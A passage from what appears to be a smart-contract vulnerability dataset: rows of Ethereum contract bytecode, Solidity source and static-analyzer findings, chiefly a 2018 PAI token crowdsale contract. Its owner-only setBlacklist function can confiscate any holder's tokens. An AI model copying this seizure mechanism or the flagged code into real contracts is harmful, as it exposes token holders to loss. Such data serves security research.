001600160601b031611158290610c935760405162461bcd60e51b81526004016105f091906118b9565b505050900390565b6001600160a01b038316610cc15760405162461bcd60e51b81526004016105f0906118fa565b6001600160a01b038216610ce75760405162461bcd60e51b81526004016105f09061191a565b6001600160a01b038316600090815260346020908152604091829020548251606081019093526030808452610d32936001600160601b039092169285929190611ac690830139610c5c565b6001600160a01b03848116600090815260346020908152604080832080546001600160601b0319166001600160601b0396871617905592861682529082902054825160608101909352602a808452610d9a9491909116928592909190611a6590830139610edb565b6001600160a01b038381166000818152603460205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e07908590611971565b60405180910390a36001600160a01b03808416600090815260356020526040808220548584168352912054610e4192918216911683610f17565b505050565b6001600160a01b03808316600081815260356020818152604080842080546034845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4610eca828483610f17565b50505050565b600190565b303b1590565b6000838301826001600160601b038087169083161015610f0e5760405162461bcd60e51b81526004016105f091906118b9565b50949350505050565b816001600160a01b0316836001600160a01b031614158015610f4257506000816001600160601b0316115b15610e41576001600160a01b03831615610ffa576001600160a01b03831660009081526037602052604081205463ffffffff169081610f82576000610fc1565b6001600160a01b0385166000908152603660209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610fe88285604051806060016040528060228152602001611b2460229139610c5c565b9050610ff6868484846110a5565b5050505b6001600160a01b03821615610e41576001600160a01b03821660009081526037602052604081205463ffffffff169081611035576000611074565b6001600160a01b0384166000908152603660209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b9050600061109b8285604051806060016040528060218152602001611b4660219139610edb565b9050610ac0858484845b60006110c9436040518060600160405280602e8152602001611af6602e913961125a565b905060008463ffffffff1611801561111257506001600160a01b038516600090815260366020908152604080832063ffffffff6000198901811685529252909120548282169116145b15611171576001600160a01b0385166000908152603660209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b03851602179055611210565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152603683528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252603790935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724848460405161124b92919061198d565b60405180910390a25050505050565b600081600160201b8410610c545760405162461bcd60e51b81526004016105f091906118b9565b604080518082019091526000808252602082015290565b80356103d781611a35565b80356103d781611a49565b80356103d781611a52565b80356103d781611a5b565b6000602082840312156112d657600080fd5b60006112e28484611298565b949350505050565b600080604083850312156112fd57600080fd5b60006113098585611298565b925050602061131a85828601611298565b9150509250929050565b60008060006060848603121561133957600080fd5b60006113458686611298565b935050602061135686828701611298565b9250506040611367868287016112a3565b9150509250925092565b6000806040838503121561138457600080fd5b60006113908585611298565b925050602061131a858286016112a3565b60008060008060008060c087890312156113ba57600080fd5b60006113c68989611298565b96505060206113d789828a016112a3565b95505060406113e889828a016112a3565b94505060606113f989828a016112b9565b935050608061140a89828a016112a3565b92505060a061141b89828a016112a3565b9150509295509295509295565b6000806040838503121561143b57600080fd5b60006114478585611298565b925050602061131a858286016112ae565b611461816119ba565b82525050565b611461816119c5565b611461816119ca565b611461611485826119ca565b6119ca565b6000611495826119a8565b61149f81856119ac565b93506114af8185602086016119ff565b6114b881611a2b565b9093019392505050565b60006114cf6021836119ac565b7f6765745072696f72566f7465733a206e6f74207965742064657465726d696e658152601960fa1b602082015260400192915050565b60006115126002836119b5565b61190160f01b815260020192915050565b60006115306020836119ac565b7f64656c656761746542795369673a20696e76616c6964207369676e6174757265815260200192915050565b60006115696020836119ac565b7f64656c656761746542795369673a207369676e61747572652065787069726564815260200192915050565b60006115a26043836119b5565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b600061160d6036836119ac565b7f5f7472616e73666572546f6b656e733a2063616e6e6f74207472616e736665728152752066726f6d20746865207a65726f206164647265737360501b602082015260400192915050565b6000611665602e836119ac565b7f436f6e747261637420696e7374616e63652068617320616c726561647920626581526d195b881a5b9a5d1a585b1a5e995960921b602082015260400192915050565b60006116b56034836119ac565b7f5f7472616e73666572546f6b656e733a2063616e6e6f74207472616e7366657281527320746f20746865207a65726f206164647265737360601b602082015260400192915050565b600061170b601c836119ac565b7f64656c656761746542795369673a20696e76616c6964206e6f6e636500000000815260200192915050565b6000611744603a836119b5565b7f44656c65676174696f6e28616464726573732064656c6567617465652c75696e81527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020820152603a0192915050565b611461816119d9565b611461816119e2565b611461816119f4565b611461816119e8565b60006117c582611505565b91506117d18285611479565b6020820191506117e18284611479565b5060200192915050565b60006103d782611595565b60006103d782611737565b602081016103d78284611458565b602081016103d78284611467565b602081016103d78284611470565b608081016118398287611470565b6118466020830186611458565b6118536040830185611470565b6118606060830184611470565b95945050505050565b608081016118778287611470565b6118846020830186611470565b6118916040830185611470565b6118606060830184611458565b608081016118ac8287611470565b611846602083018661179f565b6020808252810161055f818461148a565b602080825281016103d7816114c2565b602080825281016103d781611523565b602080825281016103d78161155c565b602080825281016103d781611600565b602080825281016103d781611658565b602080825281016103d7816116a8565b602080825281016103d7816116fe565b602081016103d78284611796565b604081016119568285611796565b61055f60208301846117b1565b602081016103d7828461179f565b602081016103d782846117a8565b602081016103d782846117b1565b6040810161199b82856117a8565b61055f60208301846117a8565b5190565b90815260200190565b919050565b60006103d7826119cd565b151590565b90565b6001600160a01b031690565b63ffffffff1690565b60ff1690565b6001600160601b031690565b60006103d7826119e8565b60005b83811015611a1a578181015183820152602001611a02565b83811115610eca5750506000910152565b601f01601f191690565b611a3e816119ba565b811461059057600080fd5b611a3e816119ca565b611a3e816119d9565b611a3e816119e256fe5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f77737472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e63655f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e63655f7772697465436865636b706f696e743a20626c6f636b206e756d626572206578636565647320333220626974735f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f77735f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773a365627a7a72315820a1454304b7f5f6f670e2cefe703b477c8ff4f8f5199de2391218d704299697176c6578706572696d656e74616cf564736f6c63430005110040 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 1,472 |
0xb9bb08ab7e9fa0a1356bd4a39ec0ca267e03b0b3 | pragma solidity ^0.4.23;
/*
* Ownable
*
* Base contract with an owner.
* Provides onlyOwner modifier, which prevents function from running if it is called by anyone other than the owner.
*/
contract Ownable {
address public owner;
constructor(){
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
//transfer owner to another address
function transferOwnership(address _newOwner) onlyOwner {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
}
/**
* Math operations with safety checks
*/
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) {
revert();
}
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token ,SafeMath{
/**
*
* Fix for the ERC20 short address attack
*
* http://vessenes.com/the-erc20-short-address-attack-explained/
*/
modifier onlyPayloadSize(uint size) {
if(msg.data.length != size + 4) {
revert();
}
_;
}
//transfer lock flag
bool transferLock = true;
//transfer modifier
modifier canTransfer() {
if (transferLock) {
revert();
}
_;
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) canTransfer returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) canTransfer returns (bool success) {
uint256 _allowance = allowed[_from][msg.sender];
allowed[_from][msg.sender] = safeSub(_allowance, _value);
balances[_from] = safeSub(balances[_from], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) canTransfer returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert();
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract PAIStandardToken is StandardToken,Ownable{
/* Public variables of the token */
string public name; // name: eg pchain
uint256 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg PAI
address public wallet; //ETH wallet address
uint public start; //crowd sale start time
uint public end; //Crowd sale first phase end time
uint public deadline; // Crowd sale deadline time
uint256 public teamShare = 25; //Team share
uint256 public foundationShare = 25; //Foundation share
uint256 public posShare = 15; //POS share
uint256 public saleShare = 35; //Private share
address internal saleAddr; //private sale wallet address
uint256 public crowdETHTotal = 0; //The ETH amount of current crowdsale
mapping (address => uint256) public crowdETHs; //record user's balance of crowdsale
uint256 public crowdPrice = 10000; //crowdsale price 1(ETH):10000(PAI)
uint256 public crowdTarget = 5000 ether; //The total ETH of crowdsale
bool public reflectSwitch = false; // Whether to allow user to reflect PAI
bool public blacklistSwitch = true; // Whether to allow owner to set blacklist
mapping(address => string) public reflects; // reflect token to PAI address
event PurchaseSuccess(address indexed _addr, uint256 _weiAmount,uint256 _crowdsaleEth,uint256 _balance);
event EthSweepSuccess(address indexed _addr, uint256 _value);
event SetReflectSwitchEvent(bool _b);
event ReflectEvent(address indexed _addr,string _paiAddr);
event BlacklistEvent(address indexed _addr,uint256 _b);
event SetTransferLockEvent(bool _b);
event CloseBlacklistSwitchEvent(bool _b);
constructor(
address _wallet,
uint _s,
uint _e,
uint _d,
address _teamAddr,
address _fundationAddr,
address _saleAddr,
address _posAddr
) {
totalSupply = 2100000000000000000000000000; // Update total supply
name = "PCHAIN"; // Set the name for display purposes
decimals = 18; // Amount of decimals for display purposes
symbol = "PAI"; // Set the symbol for display purposes
wallet = _wallet; // Set ETH wallet address
start = _s; // Set start time for crowsale
end = _e; // Set Crowd sale first phase end time
deadline = _d; // Set Crowd sale deadline time
saleAddr = _saleAddr; // Set sale account address
balances[_teamAddr] = safeMul(safeDiv(totalSupply,100),teamShare); //Team balance
balances[_fundationAddr] = safeMul(safeDiv(totalSupply,100),foundationShare); //Foundation balance
balances[_posAddr] = safeMul(safeDiv(totalSupply,100),posShare); //POS balance
balances[_saleAddr] = safeMul(safeDiv(totalSupply,100),saleShare) ; //Sale balance
Transfer(address(0), _teamAddr, balances[_teamAddr]);
Transfer(address(0), _fundationAddr, balances[_fundationAddr]);
Transfer(address(0), _posAddr, balances[_posAddr]);
Transfer(address(0), _saleAddr, balances[_saleAddr]);
}
//set transfer lock
function setTransferLock(bool _lock) onlyOwner{
transferLock = _lock;
SetTransferLockEvent(_lock);
}
//Permanently turn off the blacklist switch
function closeBlacklistSwitch() onlyOwner{
blacklistSwitch = false;
CloseBlacklistSwitchEvent(false);
}
//set blacklist
function setBlacklist(address _addr) onlyOwner{
require(blacklistSwitch);
uint256 tokenAmount = balances[_addr]; //calculate user token amount
balances[_addr] = 0;//clear user‘s PAI balance
balances[saleAddr] = safeAdd(balances[saleAddr],tokenAmount); //add PAI tokenAmount to Sale
Transfer(_addr, saleAddr, tokenAmount);
BlacklistEvent(_addr,tokenAmount);
}
//set reflect switch
function setReflectSwitch(bool _s) onlyOwner{
reflectSwitch = _s;
SetReflectSwitchEvent(_s);
}
function reflect(string _paiAddress){
require(reflectSwitch);
reflects[msg.sender] = _paiAddress;
ReflectEvent(msg.sender,_paiAddress);
}
function purchase() payable{
require(block.timestamp <= deadline); //the timestamp must be less than the deadline time
require(tx.gasprice <= 60000000000);
require(block.timestamp >= start); //the timestamp must be greater than the start time
uint256 weiAmount = msg.value; // The amount purchased by the current user
require(weiAmount >= 0.1 ether);
crowdETHTotal = safeAdd(crowdETHTotal,weiAmount); // Calculate the total amount purchased by all users
require(crowdETHTotal <= crowdTarget); // The total amount is less than or equal to the target amount
uint256 userETHTotal = safeAdd(crowdETHs[msg.sender],weiAmount); // Calculate the total amount purchased by the current user
if(block.timestamp <= end){ // whether the current timestamp is in the first phase
require(userETHTotal <= 0.4 ether); // whether the total amount purchased by the current user is less than 0.4ETH
}else{
require(userETHTotal <= 10 ether); // whether the total amount purchased by the current user is less than 10ETH
}
crowdETHs[msg.sender] = userETHTotal; // Record the total amount purchased by the current user
uint256 tokenAmount = safeMul(weiAmount,crowdPrice); //calculate user token amount
balances[msg.sender] = safeAdd(tokenAmount,balances[msg.sender]);//recharge user‘s PAI balance
balances[saleAddr] = safeSub(balances[saleAddr],tokenAmount); //sub PAI tokenAmount from Sale
wallet.transfer(weiAmount);
Transfer(saleAddr, msg.sender, tokenAmount);
PurchaseSuccess(msg.sender,weiAmount,crowdETHs[msg.sender],tokenAmount);
}
function () payable{
purchase();
}
} | 0x608060405260043610610196576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101a0578063095ea7b31461023057806318160ddd146102955780631a0b1b86146102c057806323b872dd146102eb57806329dcb0cf146103705780633097324c1461039b578063313ce567146103c65780634e054a67146103f1578063521eb2731461043457806359e415d31461048b57806364edfbf0146104b657806368a72fba146104c057806370a08231146104eb57806376802b85146105425780638da5cb5b1461059957806395d89b41146105f05780639622c5fd146106805780639aef319f1461073c578063a58fd85b14610753578063a9059cbb14610782578063aaa7062b146107e7578063be9a655514610812578063bff356181461083d578063c1ce53fc1461086c578063d2161687146108d5578063dd62ed3e14610904578063ea6ef2fe1461097b578063efbe1c1c146109a6578063f2fde38b146109d1578063f72084b214610a14578063f7decfd114610a3f575b61019e610a6e565b005b3480156101ac57600080fd5b506101b5610eb2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f55780820151818401526020810190506101da565b50505050905090810190601f1680156102225780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023c57600080fd5b5061027b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f50565b604051808215151515815260200191505060405180910390f35b3480156102a157600080fd5b506102aa6110f4565b6040518082815260200191505060405180910390f35b3480156102cc57600080fd5b506102d56110fa565b6040518082815260200191505060405180910390f35b3480156102f757600080fd5b50610356600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611100565b604051808215151515815260200191505060405180910390f35b34801561037c57600080fd5b506103856113c7565b6040518082815260200191505060405180910390f35b3480156103a757600080fd5b506103b06113cd565b6040518082815260200191505060405180910390f35b3480156103d257600080fd5b506103db6113d3565b6040518082815260200191505060405180910390f35b3480156103fd57600080fd5b50610432600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113d9565b005b34801561044057600080fd5b50610449611682565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561049757600080fd5b506104a06116a8565b6040518082815260200191505060405180910390f35b6104be610a6e565b005b3480156104cc57600080fd5b506104d56116ae565b6040518082815260200191505060405180910390f35b3480156104f757600080fd5b5061052c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116b4565b6040518082815260200191505060405180910390f35b34801561054e57600080fd5b50610583600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116fd565b6040518082815260200191505060405180910390f35b3480156105a557600080fd5b506105ae611715565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105fc57600080fd5b5061060561173b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561064557808201518184015260208101905061062a565b50505050905090810190601f1680156106725780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561068c57600080fd5b506106c1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117d9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107015780820151818401526020810190506106e6565b50505050905090810190601f16801561072e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561074857600080fd5b50610751611889565b005b34801561075f57600080fd5b5061078060048036038101908080351515906020019092919050505061193e565b005b34801561078e57600080fd5b506107cd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119f2565b604051808215151515815260200191505060405180910390f35b3480156107f357600080fd5b506107fc611bad565b6040518082815260200191505060405180910390f35b34801561081e57600080fd5b50610827611bb3565b6040518082815260200191505060405180910390f35b34801561084957600080fd5b5061086a600480360381019080803515159060200190929190505050611bb9565b005b34801561087857600080fd5b506108d3600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611c6d565b005b3480156108e157600080fd5b506108ea611d92565b604051808215151515815260200191505060405180910390f35b34801561091057600080fd5b50610965600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611da5565b6040518082815260200191505060405180910390f35b34801561098757600080fd5b50610990611e2c565b6040518082815260200191505060405180910390f35b3480156109b257600080fd5b506109bb611e32565b6040518082815260200191505060405180910390f35b3480156109dd57600080fd5b50610a12600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e38565b005b348015610a2057600080fd5b50610a29611f0f565b6040518082815260200191505060405180910390f35b348015610a4b57600080fd5b50610a54611f15565b604051808215151515815260200191505060405180910390f35b6000806000600b544211151515610a8457600080fd5b640df84758003a11151515610a9857600080fd5b6009544210151515610aa957600080fd5b34925067016345785d8a00008310151515610ac357600080fd5b610acf60115484611f28565b60118190555060145460115411151515610ae857600080fd5b610b31601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611f28565b9150600a5442111515610b5a5767058d15e1762800008211151515610b5557600080fd5b610b72565b678ac7230489e800008211151515610b7157600080fd5b5b81601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bc283601354611f52565b9050610c0d81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f28565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cbb60026000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482611f85565b60026000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015610d88573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff167f3f1cfec7ab004940203f20c0b2592de62030ff6a47b9e0312d5cfcc02cb7107484601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548460405180848152602001838152602001828152602001935050505060405180910390a2505050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f485780601f10610f1d57610100808354040283529160200191610f48565b820191906000526020600020905b815481529060010190602001808311610f2b57829003601f168201915b505050505081565b6000600160009054906101000a900460ff1615610f6c57600080fd5b60008214158015610ffa57506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561100457600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60135481565b600080606060048101600036905014151561111a57600080fd5b600160009054906101000a900460ff161561113457600080fd5b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491506111bd8285611f85565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611286600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485611f85565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611312600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485611f28565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36001925050509392505050565b600b5481565b600f5481565b60065481565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561143757600080fd5b601560019054906101000a900460ff16151561145257600080fd5b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061154460026000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482611f28565b60026000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167f906b403a7519ac9bc0fd466448daa297cf7a5a33f930ba9dfc6c4d0a95b27bb3826040518082815260200191505060405180910390a25050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b60145481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60126020528060005260406000206000915090505481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117d15780601f106117a6576101008083540402835291602001916117d1565b820191906000526020600020905b8154815290600101906020018083116117b457829003601f168201915b505050505081565b60166020528060005260406000206000915090508054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118815780601f1061185657610100808354040283529160200191611881565b820191906000526020600020905b81548152906001019060200180831161186457829003601f168201915b505050505081565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118e557600080fd5b6000601560016101000a81548160ff0219169083151502179055507fc83570cc833aff7d6a8b7cf672903df645c8055265bd66f527aa9e3d053d26776000604051808215151515815260200191505060405180910390a1565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561199a57600080fd5b80601560006101000a81548160ff0219169083151502179055507f6df4eaa3d8aaf0b7455d0f66db534ec432858a40c60638fab7373d0e8c3cc25181604051808215151515815260200191505060405180910390a150565b60006040600481016000369050141515611a0b57600080fd5b600160009054906101000a900460ff1615611a2557600080fd5b611a6e600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611f85565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611afa600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611f28565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b600e5481565b60095481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c1557600080fd5b80600160006101000a81548160ff0219169083151502179055507f315845123c6f0549151ca220827f2da26372cb5b8ea113bf30a7af87c51e70f981604051808215151515815260200191505060405180910390a150565b601560009054906101000a900460ff161515611c8857600080fd5b80601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209080519060200190611cdb929190611fad565b503373ffffffffffffffffffffffffffffffffffffffff167feec457a060cac001341b6aa57aef4ab1120201f8771515492d29aa5d193d63d6826040518080602001828103825283818151815260200191508051906020019080838360005b83811015611d55578082015181840152602081019050611d3a565b50505050905090810190601f168015611d825780820380516001836020036101000a031916815260200191505b509250505060405180910390a250565b601560009054906101000a900460ff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b600a5481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e9457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611f0c5780600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600d5481565b601560019054906101000a900460ff1681565b6000808284019050611f48848210158015611f435750838210155b611f9e565b8091505092915050565b6000808284029050611f7b6000851480611f765750838583811515611f7357fe5b04145b611f9e565b8091505092915050565b6000611f9383831115611f9e565b818303905092915050565b801515611faa57600080fd5b50565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611fee57805160ff191683800117855561201c565b8280016001018555821561201c579182015b8281111561201b578251825591602001919060010190612000565b5b509050612029919061202d565b5090565b61204f91905b8082111561204b576000816000905550600101612033565b5090565b905600a165627a7a723058206c6483db81383e0885a8976c5b5d16972b432717f06214ed0e481eb6a917802e0029 | {"success": true, "error": null, "results": {}} | 1,473 |
0xbbbbca6a901c926f240b89eacb641d8aec7aeafd | /**
*Submitted for verification at Etherscan.io on 2019-04-09
*/
pragma solidity 0.5.7;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
